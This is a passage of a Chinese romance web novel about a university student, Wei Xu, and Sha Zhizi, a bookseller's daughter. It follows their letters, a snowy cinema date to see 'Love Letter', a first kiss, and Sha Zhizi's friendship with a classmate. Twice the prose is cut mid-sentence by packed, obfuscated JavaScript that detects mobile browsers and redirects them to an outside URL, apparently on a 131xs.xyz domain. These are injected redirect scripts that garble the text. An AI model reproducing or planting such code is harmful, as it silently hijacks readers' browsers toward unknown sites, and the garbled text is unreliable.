沙栀子的父亲写信回来说:【……哎呀,她真是不识货,小孩子一样。…出去踩雪的时候,怎么讲她也不信,总是认为就是这羽绒服太轻了所以踩不出一脚一个坑来,她一听书店外面,对街的树上有几只越冬的留鸟在叫,看店里没什么人,就认认真真跟我说什么,要旷工,让我留心扣工钱。就跑到了外面的树下。你说这……】 段落结尾一句【叫她也不听】,叫魏续在回寝室的路上看了呛了一声笑,笑得闷在心里,抬头看了看路。 这一下笑,纯粹的快乐。 不知是为了想象中的沙栀子,那脱下羽绒服,开开心心地裹上鲜艳、布料质地温柔的棉袄,去踩坑的样子笑;还是被信中沙栀子父亲那一下亲昵的埋怨共感,附了很短一下魂——都是爱她的人的魂。 魏续折起来,轻快地走过校内的铁桥,到宿舍楼下打好热水,一路提上七楼。 回了宿舍擦了擦桌面,看明天的课表。另几个室友都报了晚课,还得有一两个小时回来,魏续就放心地点开翻盖手机的通讯录,拨了两秒,他指尖迟缓地移过去,“嘟”地一声。他挂断了。 又把口袋里的信展开,看起信来—— 【……然后就踩将起雪来,那灰喜鹊叫一下,她踩一下,然后抬头。听指挥似的。】 【成了那小冬鸟的小兵了。我是总猜不明白她想什么的,于是没吭声,她妈妈也是冬天走的。……总是不好问的,我怕她想了什么,也不跟人说。你来包汤圆的那两次,跟我讲的什么诗就很有意思,多读读能跟她说上话,还是有道理了……我想了好一会儿了,去翻了翻诗词区进的新书,翻了有十几天了,你看看——是这一句——还是这句——】 破折号下是两长条剪贴的文字,都跟鸟叫的声音有关的。 一个是:“鸟鸣坠地,如乱石之刑。” 一个是:“突然一阵鸟叫,好像迸溅的火星,撒满了山野。” 就算有可以推测的来源,魏续还是迟疑,等来室友推攘门的笑闹喧哗声传来,他始终觉得,哪一个也不是沙栀子在踩雪时想到的故事。 她是件很容易自然想念,又很难想明白的一个短句。 只持续了五秒的电话拨打也是这样戛然而止,但没有她那样精彩。 沙栀子是用不惯小灵通的,但班上的女生都买了,她也不好落下,也买了个挂着精灵宝可梦的挂饰。但也不常用。 ……怕打扰沙栀子。偶尔魏续也会有这样的念头,产生这样的微不可察的胆怯。 魏续在繁忙的课程之外,偶尔会抬起头,活动脖颈,顺便望向自习教室外遮天蔽日的绿意,春秋舒缓的风,一阵一阵地打着抖,寝室阳台昨晚洗好和晾好的衣裤有没有干?他有点强迫症,定期定时喜欢整理自己的东西。吃晚饭,洗衣服,整理桌面,收和晾衣服是顺接的事情,每天如此。有天拖课他回来晚了,跟室友打了声招呼确认没人睡觉,就乒乒砰砰收拾起来。 动作利落又迅速。 一会儿,打游戏的室友边瞄眼魏续的桌面,边看技能冷却的读条,“你也太爱干净了吧?!” “……勤洗衣服能练出你手臂这样的线条感吗?”另一个办了健身房卡的室友,拆了快递,在门口试鞋时抬头说。 “不是因为这个。我下午下课都会去明高湖骑会儿自行车的。”他抽空答了句。 “骑多久?” “一个小时多吧。”顺便背点东西,呼吸新鲜空气,想点事情。 …… 其实在外地生活挺无聊的,镇上没有电影院,但是临海,能看见很质朴的蓝;也没有中间摆十几个木质大桌子的图书馆,却有几家小书店,门口挂了风铃。人太多了,六月份开学初,魏续有一次在挤公交出门做小组考察作业时,心里嗅到的那股热闹和在沙栀子的小镇是不同的,他下车时背着书包往外赶。车站外鲜红的广告牌余光中一闪而过,整个夏天太忙,太匆匆,像西瓜汁的沸腾。 ACCA全英文的课程有难度;计算机编程的课本太笼统,必须摸到机子才有上手感。 奖学金的申请流程魏续驾轻就熟。 但等到第二年,他在网上接了一些书排版设计的单子,又兼职家教,加上账户里定期打来的抚养费够基本生活后就没申请了。 要是能自己做饭,魏续更能省一笔,可惜这宿舍条件并没有带个小厨房。 沙栀子也会关心他,时常来信时都末尾问一句“最近吃得好不好?”她坚信幸福从口入这种说法。 每当脑海印象中的西瓜汁一冷却,魏续就想起小镇,一个书店,沙栀子。 沙栀子的眼睛明亮,总是微微醉着。 不知道在想什么。 她伏在习题册上,毫无理由地抿嘴笑起来,一个人创造了一个人的秘密。他微微地担心,想起来时,小小地担心。没有说出口的,轻轻地担心。订婚前,很久不见的父母找到他,语气生疏又带着讨好意味,祝贺他成功升学。 “魏续。”他们连名带姓地叫他。 沙栀子也是这样完整地叫他,音节又饱满,语气又自然,跟她读书时的神情一模一样。 像在剥开一颗荔枝,闻到鲜红的香气,在通感的手法中品尝这两个字。 魏续也叫沙栀子作“沙栀子”,他也对自己的父亲叫全名,但其中感情完全不同。 那次来时,父亲带来的新孩子穿着小学制服,在身后抬头看他,以示威和含占有欲的姿势揪皱了大人的西装裤。 没说上几句就走了。家里魏续一个人住,之后父母打电话来问:“你有什么想要的吗?一个人顺利考入大学,这可真不错。听说你和小镇上一个读高中的女孩子关系走的很近,这当然没什么问题,不过啊…青春期的男生和女生在一起,就容易犯错……就算喜欢,也还是得注意点人前的分寸……” 后来这两个人啊,擅自到沙栀子家里去说了些话,又打来电话,过分亲密地调侃道:“原来魏续你喜欢这么呆的女孩子啊。” 魏续在电话里在心里叹气,冷冷的,没有吐气出来。他不喜欢任何人从他的角度评判沙栀子。这对冲动结合、很快理智复苏迅速分开的前任夫妻,偶尔对他很热络。 不是因为父母的爱,纯属三分钟热度。 他警告再三,对方才消停,渐渐又恢复到了无联系的状态。 因为这件事,他差点对选修的恋爱与沟通课程的室友上问出口:“有没有因为父母,导致两个人分开,旁人不合适、不相配的情况呢?” 室友摆出结课论文里网上复 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魏续夸她猜对了,“是岩井俊二的。”然后跟她耐心解释怎么看车间,给谁检查车票,大概两个小时的路程,千万不要坐过站了。 书店歇业了两天,沙栀子的父亲去大澡堂洗了个澡,把她也拎去女澡堂,洗完出来的时候天已经黑了,街上卖烧烤的也出来了,前头有铺块布买小东西的,沙栀子挎着个装茶香沐浴液的小篮子,裹着蓬松的毛绒睡衣,蹲着看地上摊上摆着的手套。 选了选,举起个缝着小翅膀的手套,眼睛亮亮地对父亲说:“这个!怎么样?” 最后买回来了,但被说“男孩子戴这个多招笑呀,你自己留着吧”,沙栀子就自己带了。 看出沙栀子喜欢得不得了,都不舍得送出去的父亲在柜台眯眼一笑。 最后这件事和一副黑手套寄到魏续手里,他也哭笑不得。我也不讨厌粉色的啊,但是下次还有她喜欢的,就让她留着吧。 于是魏续就很记得沙栀子宝贝这个轻粉色的毛线手套。 跟她说,把两边连在一起的一条线挂在脖子上,就不怕有小偷看它好看偷偷拿走了。沙栀子电话那头“嗯嗯”地说自己记住了。 “这边更冷一点,你戴好手套,还是穿那个鲜橙色的羽绒服过来吧。” 等魏续在火车站等到沙栀子,把保温瓶递给她,果然看见她把手套的一条毛线挂在脖子上,还戴了毛线帽子,只有耳垂是一点红红的。 魏续中间给她倒了杯热水,笑着给她捂了捂耳朵,“冷不冷呀?” 火车站人来人往的很嘈杂,一下子就热起来,沙栀子扯松了点围巾,喝了口水,忽然想起什么时候,忙说:“以后我要是来晚了,你也来晚点,不然一直等可能会有危险。” “不冷不冷,我手心热得可以烫鸡蛋!” 什么个道理?怎么会有危险?魏续一下子摸不清楚头脑,想要拐着弯子往沙栀子的思路想,却一时不得要领,一旁等人的路人隔着边只有一两米,听见这话有点嫌弃地瞥过来,很热心地大嗓子:“这也不懂?是怕你冻坏了,成了望妻石哦!” 又往魏续身上不那么厚实的外套指了指,小伙子眼睛也黑,嘴唇颜色倒是淡,人的精神气色确是好的。 人一冻血就上来了,嘴唇也红了,人群里整个人轮廓都清爽干净的扎眼嘞! 魏续被这话猛然一戳,有点尴尬地脸红,到底没有结婚,只是口头订的事情,怎么说是“望妻石”呢?其实……是望女朋友石才是,不过,也许“望沙栀子石”才更准确……沙栀子也没有反驳,反而高兴地笑了笑,快十八岁了,她也长大了魏续肩膀差不多高。 只是牵手的年纪,他有点不好意思,忙谢谢了旁边解释的大哥。 随后握着沙栀子包在毛线手套里的手,轻轻捏着软毛线,出了火车站。 5. 选项:A 05 出了火车站之后,两个人发现雪下的很大,魏续就打了出租车到电影院。 司机赶得有点急,出租车停的地方不好,雪被行人踩成了小泥洼,他顺手就把沙栀子抱了一下,放到电影海报面前、干净的水泥地上,然后摸了她有点凉的脸,排队给她买了杯热可可捧着暖手。 把保温杯放进了背包里。 …… 这雪是陡然下的,有点洋洋洒洒的,城市里再高的楼都被垫了层柔软的“白帽子”。 那天真是特别冷,影院门口,营业员从早上起就开始扫雪。 一天下来路面上又积地满满当当,蓬松地犹如一层泛着漂亮光泽的奶油蛋糕。很适合一对接一对的情侣淌过这种甜蜜,去看晚场的电影,所以排队的人也多,涌在电影院门口。 敞在飘飘大雪之下的道路很冷,冷的沙栀子牙齿打颤,手握成拳头缩在羽绒服袖里,她想捂着帽子一股脑冲进去看电影的。 一说,魏续连忙抱住她,免得她跑滑了,低头在她脸颊边轻轻说,“还有十分钟到我们的场次,很快的,雪下的太大了,我给你擦擦衣服上头发上融化的水。” 他打了伞,沙栀子没有看天气预报的习惯,没带伞,衣服已经穿的很暖和了。 但是这么大的雪,那么漂亮。就应该表现得冷一点呀,这是正确的惊叹和赞美—— 沙栀子没那么冷,却还是在雪中捏起拳头缩到袖子里,然后学着牙齿打战,全然没感觉到一旁的魏续急得出汗,心里还点点头,很肯定地这样想。 "你今天没带伞呀。"排在队伍里,魏续眉峰略微一皱,似乎在思考该怎么办。 沙栀子没有看过电影,却是看过书的,想起岩井俊二的《情书》一开头就是博子躺在雪地里的场景,正出神,冷不丁被抱了一下。抬头一看,原来是魏续给她挡了风,热气吐在耳边,“你自己打了几个哆嗦,几个寒噤都浑然不觉的呀。”话里话外,有一种因为熟稔而自然酿出的甜,淡淡的,并不腻。 还有种揭露冰山一角的、对沙栀子偶尔像并不寄居在身体上似的,忘了冷和热之类的身体反应的无奈。 沙栀子被抓包,有些扭捏地低下头。又不太想解释自己并不是很冷。 长大了一点点,她的话也少了一点点,不是和谁生疏了。 只是,只想对自己说的话多了一点点。 "…我忘记了。本来早上不是只下了一点点雪吗,一点也不冷的,我以为不要紧的呀。" 沙栀子忙搓了搓手,转移话题,亡羊补牢道:"你的衣服外面好像湿了,冷不冷啊?要不把手套戴上吧?" "只能回去晾一下就好。马上就到我们了,影院里面肯定有供暖的。" 细雪是斜着眼飘的,心思有些坏,沾湿了好几个队伍里情侣的毛呢大衣、红围巾,沙栀子的手套手背也有点湿了。魏续难免注意到。现在流行的手套有皮的,也有绒线的,做工好的,带上去;缝线严实的皮制的,是“日暖泥融雪半消”,冬日晴天里戴上毛绒的,是另起的一句“蓝田日暖玉生烟”,看起来保暖又漂亮,两种都不错。 这两句诗沙栀子都跟魏续提到过,暂且征用比较一番。 然而现下,标准十分简单,不管皮的还是绒的,自然是没湿的好。眼看就要检票入场了,魏续把电影票递给沙栀子。 他将伞换了只手,原本举伞戴着手套的手很快地挣脱出来,和口袋里拿出的另一只凑成了一对递给沙栀子。手上宽敞的暗红伞在雪的背景里,明晃晃的,衬得魏续的轮廓鲜明,神态认真。随着摇晃的动作,有些漂亮的光影在伞内移动。随着他动作摇晃了好几下,红伞停下来。他从伞下抬头,手里攥着手套递给沙栀子。 “我戴过了。那...你想戴吗?手套里面是干的,戴起来会暖和点。"这是换手套戴的意思。 沙栀子呆了呆,没有拒绝,脸有点红。看了看魏续,他的脸也有点红。 心里一紧张,就接下来了,脚陷进雪里,心也陷入一种放弃抵抗式的松软。 他们一起走进了电影院。 06 进场,很快,影片开始。 看到影片中两个主人公有着同一个名字,都叫做藤井树时,沙栀子的眉毛拧了一拧。 07 影片慢慢推进的过程中。 没有看过原著、也没有在电影海报的简介上惯有的省略号后推敲后续情节的魏续看得很认真;有些断章取义、顾名思义的魏续发现,这个故事,似乎和自己想的不太一样。 08 影片结束。 观影时长:1:56:32。 他们一起走出了电影院。此时外面的雪已经停了,街上商店的灯还一盏一盏的,很是温暖漂亮,沙栀子和魏续都不是把电影当作什么爱情调味品的人,因此都看得格外认真入迷。 尽管不如预期所想,魏续还是承认这是一部好电影,只是他觉得——如果看的还是那部《恋恋风尘》就好了。 总有一部电影里的初恋会在一起的吧? 这个时候电影还没有评分网站,电影院门口会打印一张一米五左右的海报,上面写着引起人好奇的简介,而且还只介绍一半,剩下的就是勾起人兴趣去买票的“……”。 所以遗憾的魏续不知道,其实恋恋风尘也好,岛国纯爱电影也好,虽说是初恋的故事,魏续不知道,编剧也给出了这样引人追寻的话——【电影的原型就是我,我一辈子没有牵过她的手】。 要是真的看了恋恋风尘,搞不好魏续会留下阴影呢。 沙栀子也许也不会太明白,电影里为什么青梅竹马的两个人,一个奔前途打定主意异地恋,一个留了下来。 在漫长的书信传递时间中,最终女孩子嫁给了负责传信的邮差。 初恋终究变成一阵远去的飘渺之歌。 这会是个很奇怪的故事,除非那个邮差送的是书,会读很多很多沙栀子不知道的诗…… 电影再好,也总会有人不喜欢。 魏续似乎在想别的什么,语气中有些沉郁的犹疑,开口说话了。“藤井树……我是说死去的那个藤井树,他做的事情有些无聊。说到底是利己的,不管是把初恋情怀结束在小樽,保留住了最美妙的情怯时刻;还是对博子自顾自的‘一见钟情’,从来没有坦诚过自己因为初恋而对博子的移情……说到底只是为了自己更开心舒服而已。” “这样的情节,有点让人觉得很失望……”他踩在雪上,轻轻地说。 要是被专业影评人听见,一定会骂他这种狭隘的解读、世俗化的不满。 可是听见的这是沙栀子嘛。他知道沙栀子不会生气,也不会骂他的,只是会有一点点的好奇。 为什么呢?沙栀子觉得这电影已经美到不能再美了。 沙栀子果然没有生气,也没有因为两个人意见不同而冷脸,反而扭过头仔细地看他,想听他说话的样子。 她只是抬起头,有些好奇地问魏续,“那你想故事怎么样呢?” “藤井树不需要遇见和树长得一样的博子。他永远记得树,登山意外死的时候也还爱着她。这样我才看得舒服。”金丝边的眼镜上落了点雪,魏续低头看沙栀子的时候,嗅得到一点生锈的冷,抬手擦掉稀碎的雪水,自然而然地说。 可是,戴着冬帽穿着学生裙的藤井树在雪地里滑行,停下来,凝视冰层下冻僵的蜻蜓的那一组镜头很透明,很干净,很美。 永远停在生命那一刻的蜻蜓。 翅膀都完全舒展着,在飞向自己想去的地方,一定不会痛苦。历史课上有说,近代飞机的改进就跟蜻蜓的飞行有关哦……你不喜欢也没有关系,只要有一个人喜欢,这部电影就很成功了。沙栀子这样说着,挽住魏续的手。 两个人互相说起话来,说起岛国相关,沙栀子忽然说:“我喜欢宫泽贤治。” “日本的诗人里,我最喜欢三十七岁死去的宫泽贤治。因为他很喜欢矿石,很像妈妈,都很善良和聪明。” 只说完这一句,沙栀子没有再说到她的妈妈,而是说起宫泽贤治,说他是爱漫山遍野捡矿石的“小石头贤”,写过很多童话,很疼爱自己的妹妹,是病死的…… 魏续突然想起,沙栀子的父亲对于她妈妈的话题,也是这样浅尝辄止的。 除了有一次—— “他哪里比得上沙栀子的妈妈……她妈妈才是,是我知道的最优秀的人了,镇上可是赫赫有名的,成年考上大学后申请出国也顺利得不行,我很支持她的,就说在这儿开个店等她回来,不要紧。” “她跟我说英语的时候,脸上的笑涡也像放在金黄色唱片机上动似的。” “你成绩也不错,不过呢,和她比还差远了嘞。”有一回,魏续去店里帮忙,沙栀子的父亲掸书架上的灰,听到眼熟魏续的客人对魏续说好话,和以往镇上出名的大学生做比较,他立刻不高兴了。 对着魏续横鼻子竖脸地,哼了好几声,说了这些话。 这是唯一一次魏续听到沙栀子妈妈的话。他没有主动去打听,从外人口中打听总是觉得不好。只知道沙栀子的父亲和爱人要孩子也比较晚,现在也是一个人安安心心带着沙栀子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180296|180923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 想起来,沙栀子的父亲端着梯子,爬上爬下,有时候腰也不大灵活,人很精神,白头发很少。只是也有四十岁多了。 电影院外,两个人随意走着,走近一家橱窗里摆着圣诞树的商店,里面的气氛红彤彤的,十分喜悦。听着沙栀子说起这个诗人的事情,魏续隐约想到什么,移过视线注视着沙栀子,城市的热闹忽然不再像沸腾的西瓜汁。这时候,更像小火慢炖的、能暖人心脾的冰糖雪梨。 店员两手交叠在腹部,微笑着询问,那样子很礼貌规整。“请问两位需要什么吗?” 估计是没见过这么正式的服务模板,沙栀子从背包里拿出一本书,愣了愣,有些不确定却乖乖地说:“我要给他送本书的。” 魏续正看一顶红色的针织帽看得入神,这个不比电影里酒井美纪的差。 冷不丁听到这样的回答,店员也忍不住脸上笑肌连着嘴角抽动,努力压抑。魏续也笑了,回头看见书名——宫泽贤治的诗集《春天与阿修罗》。 店员和一旁站着的其他店员使了个善意的眼色,走开了,没再打扰这两个人。 春天与阿修罗的封面是黑色的,魏续打开,是轻轻打开的,“是你特地带来送给我的吗?” 沙栀子在试戴他推荐的那顶红色针织帽,肯定地点了点头。 “就是送给你的,我有听爸爸说你在看海洋化学的书,所以选了这本。而且不是新的,是我看过的,保存得很好,对吧?但是你翻翻里面——” 魏续应声翻开,恰好第一句打开就是这个—— “呼唤别人的名字无数遍” “在风中反反复复也无所谓吗” 许多化学名称、矿石名字印入眼睛,这个看起来是有点难读的。但旁边有许多蚂蚁样的铅笔小字,啊,是沙栀子写的。 “我一直都有练字哦,写的很漂亮,连老师都夸我了。”魏续把书小心收好,牵着沙栀子到收银台,让收银员把帽子装起来,剪了吊牌,听沙栀子说完,“其实这本里我有很多都看不懂,可是有些地方,看到真的——很雀跃——” 她的语气好像真的一只雪地里的小雀激动地跳了一下。 一点也不因为书面语的“快乐”而显得生硬,柔软的魏续的眼神,因为这句话,和她戴在头上的新帽子一样,渐渐温暖了起来。 09 我觉得,也许你现在该亲我一下。 在走离泛着暖橙色的圣诞街道,车站等站点的时候,沙栀子直直地盯着魏续看,表露的不舍很平铺直叙。一点也没藏着掖着的隐晦。 亲我一下。 她的眼睛可以如此地表达。 于是车牌下,他们轻轻吻了一下。 魏续轻轻吻了她一下。一点外龅的虎牙,擦过沙栀子的舌头。柔软地像两颗心微微碰了一下。都是红色的,会跳动的东西。 只是呼吸放得很轻的十几秒。 魏续的长睫毛扫过了沙栀子的脸颊,然后离开了相触的微小绒毛。 “我在想,你亲额头我会生气的。”沙栀子在火车站上车前,对着男朋友说。 “你生气吗?” “没有的。” 火车站依依惜别的有爱人,也有亲人,有很多实在无法割舍的人,拥抱也变得不稀奇。 沙栀子在拥抱里闷一闷,脸比五成熟的桂花糕蒸得更软,透出一点点懵懂苦恼的香气。她开始懂了一星半点的想念。 火车发出启动的轰鸣声。 魏续深深嗅了嗅,慢慢松开,又快又认真地说完,“我有设特别来电的哦,只要不是上课,都可以看到提醒,你一打来,屏幕的正中央就会有你的名字……放假我也会好好回来的。不懂的题目都可以拍照片发给我,彩信贵一点也没关系的。有不明白的,总是出错的也很正常……不要着急,你的语文试卷都可以留下来,我们一起看会很开心……待会儿回家,一定一定注意安全。” …… 轰隆隆的声音响了有十几分钟之后,魏续给沙栀子的父亲打去电话,交代好了行程。 有些时候,沙栀子意外地喜欢一个人。魏续在火车候车室里等着,这一趟过去后,安然无恙的消息传来,沙栀子的父亲也劝他早点回去,略微的哈欠声中挂了电话。 他终于放下心来。 09 回去的公交车已经是最晚的班,鲜少有人,没有开灯。魏续举着小小的手电筒,翻开了《春天与阿修罗》的第255页—— “爱恋是温柔野地的花啊” “我将永生不变” 这是之后,他最喜欢的一页。 6. 选项:A(大修) 01 花,是春天遗失的嘴唇。这是哪本诗集里的一句话,沙栀子也记不清了。 02 新开学的第一天,空气绿得带一丝丝豆沙味的冰凉,老师站在讲台上,颁布了重新排班的重要事情,认识的同学都要被打散了。更糟糕的是,每个班的人数都增多了,以后就不能单人单排地坐下去了。大家都得结伴而行,做学习伙伴,要和同桌尽量友好相处。——老师原话如此。沙栀子在台下全神贯注地听。她不知道有人在看她,目光犹如手指,轻轻地隔空抚摸冰镇果汁盒。 有人看她是甜的、缤纷的、盒装的。 彼时夏日,刚到来的都很清凉。那道视线没有侮亵、打量、不怀好意,蜻蜓点水。一点两点。点了又点。 所以,那像株教室角落的薄荷一样自然存在于沙栀子身后。没有任何一个神经通知沙栀子这有什么不好。 她也就不曾注意到。 新鲜的重组教室里新排的课表,正好是上午第二节的体育课,四十分钟的自由活动和跑步、单杠练习,沙栀子在跑道上冲刺,每五十米,她都会想:接下来是什么鸟类呢? 去年沙栀子的父亲带她去旅游,那是乌鸦的王国,你看见没,太阳一照,黑得五彩斑斓!父亲说着,看着广场上神气活飞的乌鸦,反倒自己更兴奋了,相机捏得那么紧。沙栀子第一次听,完全陷入了语义的歧路,脸挂着口罩一呆:“乌鸦的亡国?”乌鸦,群飞,嘶叫,亡国。惯常凄凉的意象,竟然也可以杜鹃啼血么?她眼睛一亮,因为什么也不知道兴奋起来。 扯扯衣袖催促父亲讲出“亡国故事”的结局是——中年男子抱着相机在女儿面前笑到蹲下,差点被路人扭送医院。 毕竟出糗的不是自己,于是这点小事故变成了沙栀子有趣回忆里的一枝。偶尔折下来欣赏。 于是沙栀子就觉得,鸟类是如此特别,有一天她和魏续打电话。抢着说了第一句话:“我戴了百分之八十的红、百分之十的蓝、百分之十的黄绿色发夹。” 这就是游戏规则。 魏续浑然不觉,声音柔润:“这样的话,我好想看到你现在的样子。” 沙栀子开始游戏:“这样的话,我好想看到你现在的样子。”如果有录音下来,大家会发现这两句话的语速时长相差不会超过一秒,何况魏续一字一字含着水说出来一样,要模仿实在是非常容易的。 被模仿的人只好一头雾水,开始思考:我们是不是开始了一个玩笑?确定了之后。他试探性地说:“我好喜欢冬天。” 沙栀子很快学舌:“我好喜欢冬天。” …天啊。好想亲她一下。魏续捂住声筒,忍住笑。整个胸腔都被弄痒了。一阵的鸽在上下喉咙间飞来飞去。终于盘旋住了,他移开手,选了句话说:“我还是更喜欢夏天。”其实很想捉弄沙栀子说——因为想你,我要狠狠地哭一下——但是万一,鹦鹉学舌,拓展业务成了鹦鹉学哭怎么办?那么还是说沙栀子本来的样子吧。 沙栀子继续学舌:“我还是更喜欢夏天。” 沙栀子本来就是最喜欢夏天的,全世界都染上了亚热带气候,所有人都流出汗水,摇晃出生命的气味。 那就不要诱骗她撒谎啦。不合心意的话少少地说。魏续决定助力沙栀子。由于她,他开始相信语言是有灵魂的,就算是玩笑诡计,也不要违背真意的好。 最终他解开谜底:“你是一只小鹦鹉。”沙栀子的电话线传来“嗯!被你猜对了!”的肯定。 通话时长一小时,魏续被科普了很多鸟类的冷常识,确实不感兴趣,但是也确实很有趣。如果喜欢是珍贵的,那么原因之一就是能给天然让人对世界敞开,不抗拒任何未知。事后的游戏奖励抵达,在学校收件寄件室,魏续拆开了一张彩虹花苞裙版的沙栀子磨砂相片、几块儿闪闪的稀有矿石、还有一个电力变压器。(欸?这是为什么?事后询问帮忙购买的沙栀子父亲,对方同样问,欸?你要这个干什么?魏续只好说这个很有用) 沙栀子有时候真的是鹦鹉。 喜欢对不同人说自己刚知道的事情,好像有一条不自觉要分享新知的反射神经。 几天后,沙栀子边压腿边对着同学说:“乌鸦很喜欢在电力变压器上筑巢,如果电路短线了,可能是乌鸦的错……” 小腿的肌肉发热。呼吸像饱满的花穗。空气往肺里垂沉。身体被拉开的感觉像制作寿命年糕。 沙栀子呼呼喘着气。 “这样啊,可是我不想聊乌鸦,你告诉我,世界上飞得最快的鸟是什么?”在单杠边帮忙压住她的腿的同学,倾身凑近沙栀子发问。 当然同学是有名字的。在一个月前分座位时教室里,她翻开书的首页,对着周围人指出自己名字—— 经俪人。 沙栀子在新学期里认识的,被老师分组给她做协助锻炼的经俪人问:“世界上飞得最快的鸟是什么?” 询问当然也有理由。 她长得很高,运动神经很强,双腿像游隼的长而有力的翅膀,速度惊人,百米跑吓掉了所有同学的眼睛。 一直都是笑眯眯的样子,好像她对人一贯的态度。但是对沙栀子,她会露牙齿。皮肤是带痣、带雀斑的橄榄树,但是像涂了雨一样光滑干净,透着草叶感的香气。她的数学成绩非常非常好,如果有任何竞赛,都会被老师报上名字。沙栀子觉得她很厉害,于是那天旁观她跳远,没忍住自言自语,“…好像飞的最快的……” 最快的什么啊?不过比起这个问题……经俪人还想知道—— “你是不是挺喜欢我的?” 话题急剧跳转。 沙栀子来不及回答另一个问题,说:“是游隼。”错位回答让单杠旁的经俪人喷笑出来。 是这样的,沙栀子才后知后觉其他同学说的“她有点难缠哎”是什么意思。因为经俪人在替换压腿的时候,大方承认自己故意恶劣地逗人。 回家路上,沙栀子却依旧在想答案。 等完成了课业,在自家书店里漫游、收账、走神,她也没有想的很清楚。 这很难。实际上沙栀子并不是没有过朋友,一起玩笑打闹,谈心说话——女孩子之间永远不缺乏喜欢和欣赏对方的人。但是经俪人不同。她坐在沙栀子的身边,是落座的前后桌。压腿事件的一次大扫除,经俪人就在最后面扫地,沙栀子也在扫地,当结束时大家都要回到位子上,经俪人挡了一下,说等等。刚刚擦窗户的人踩过。她说,拿出一方白皙的手帕,仔仔细细地擦了沙栀子的座位,眼神示意她坐下。 沙栀子对这个人产生了一点好奇和好感,于是自然地聊起来。 …… 经俪人好像很喜欢沙栀子这个朋友。 经俪人很在意话里的一些引用,她真的会读沙栀子说的每一本书。 经俪人浑不在意地热聊,直到最不可幻想的地方,谈到宇宙的核心。 …… 问起来,沙栀子的父亲说:“你说经俪人他们家?几年前从隔壁镇子搬过来,最近才转学过来,现在那边镇子,似乎要拆了修铁轨。哎呀不知道我们这边到时候会不会很吵……”后来经俪人放课后常来沙栀子家,书店后门有个夏天乘凉的小院,去年买了一两套露营桌椅放在那儿,作为拓展的阅读空间,下午沙栀子就不喜欢回房写作业,老是喜欢擦完书架、拖完地板,冲澡后抱着书包来这儿。 偶尔她们就在一起乘凉。 经俪人轻咬着钢笔盖,在书店后门的桌子上,一边和沙栀子写作业,一边漫不经心地问。 “你觉得我们以后一起去环球旅行怎么样?绕地球一周的那种,肯定很有意思。” “这件事情我没想过。”沙栀子睁大眼睛,有点崇拜她。这种崇拜并不包含自贬,是发现题目多种解法一样的惊奇。手臂垫着历史通识书,她们开始谈论这件事情,用现有的数学公式计算了一下去国外的预算。果然很贵啊。不过两个人倒是都没有泄气。 那就以后吧以后。 经俪人举重若轻地、爽快地决定了。 沙栀子没说话,点了点头。 具体的生理模样,具体的精神面貌,细微到不能再细微,独特到无法克制的一个人。两个人对彼此都突然具体了,有了联系和意义。 …… 沙栀子很珍惜朋友,只是比起之前,这次心脏有奇怪的粉的热晕一样。她们是前后桌,自习课无聊的时候就会传纸条。 沙栀子的国文成绩也越来越好了,数学居然也从中游往上爬了。开学的第三个月,她写的试卷作文被誊到了校内期刊上。真是近朱者赤近墨者黑啊,老师很欣慰地夸奖她。 “不应该这么说,简直是俗气。”但经俪人对这个说法很不喜欢,撇嘴道,“我又没给你当过家庭教师,干嘛把功揽到我身上啊?红的就是红的,黑的就是黑的。颜色还有好坏之分啊?反正我对这种借喻不感冒。” 但经俪人又说了。如果沙栀子请我吃饭的话呢,我就教你做很无聊的压轴题。 于是沙栀子就带着经俪人来到了家里。 蹭午饭就变成了经常的事情。经俪人的妈妈觉得很不好意思,时常就买水果让她吃饭的时候拎过来。 03 友缘迷离的香气,前调后调有时比爱情层次更丰富。中级英语阅读,在薄薄的试卷上如是描述:“Trueloveisfriendshipdippedinhoney.” 那天,经俪人打开了床边的铁盒子。 在转学走的前几天。 告别之前她们趴在床褥上,无聊地翻之前互相发过的通讯短信,都是长长的文件。 偶然间经俪人摁亮了通讯手机的联系人簿。所以她摸着信封上男孩子的名字、魏续那一行,问:“这是谁?” 楼下传来穿行过来的汽车喇叭声,正好是周日的白天,窗户开着,房间透亮得像飞起的蝉翼,经俪人默不作声,又有点不小心冒犯到隐私的抱歉,在无意间翻出沙栀子的信和短讯之后,仓促地说了句“对不起啊”。那种莫名的为难的气味,像隔夜米饭伴着番茄稀释出酸。然后她蹭蹭地跑下楼,在楼下向沙栀子招手,打开来接她的车门回家了。 她为什么那样呢?沙栀子不知道要怎么介绍自己的口头婚约,嗯,结婚是遥远的事情。 她无法解释那么遥远的事。 而朋友就在眼前。 沙栀子趴在栏杆上送别的时候,困惑不解,当然她不明白大家所默认相信的那些事情。 比如英文里love本身就有着爱情的概念,比如friend需要添加ship的后缀才能转化为情感概念。 04 在沙栀子说出回答之前,经俪人就转学了。 班里两个转学生走了一个,还剩下一个。 那道看着汽水罐一样的视线又出现了,沙栀子没有发现,或者说顿感地不放在心上。她的通讯里存了临走时经俪人给的电话号码。那么试着背一下! 沙栀子……能记下来吧? 递来纸片的手放在她眼前,期待地鼓励。沙栀子并没有当即背下来。她在晚上的灯下,握了支炽绿颜色的钢笔,那是她不因任何原因收到的礼物。沙栀子用这只钢笔写了好久,想着经俪人转学去到的城市,最著名的期刊是什么,直到报废了第三个故事,她才终于记住了那一长串毫无关联的数字号码。 跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180297|180923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 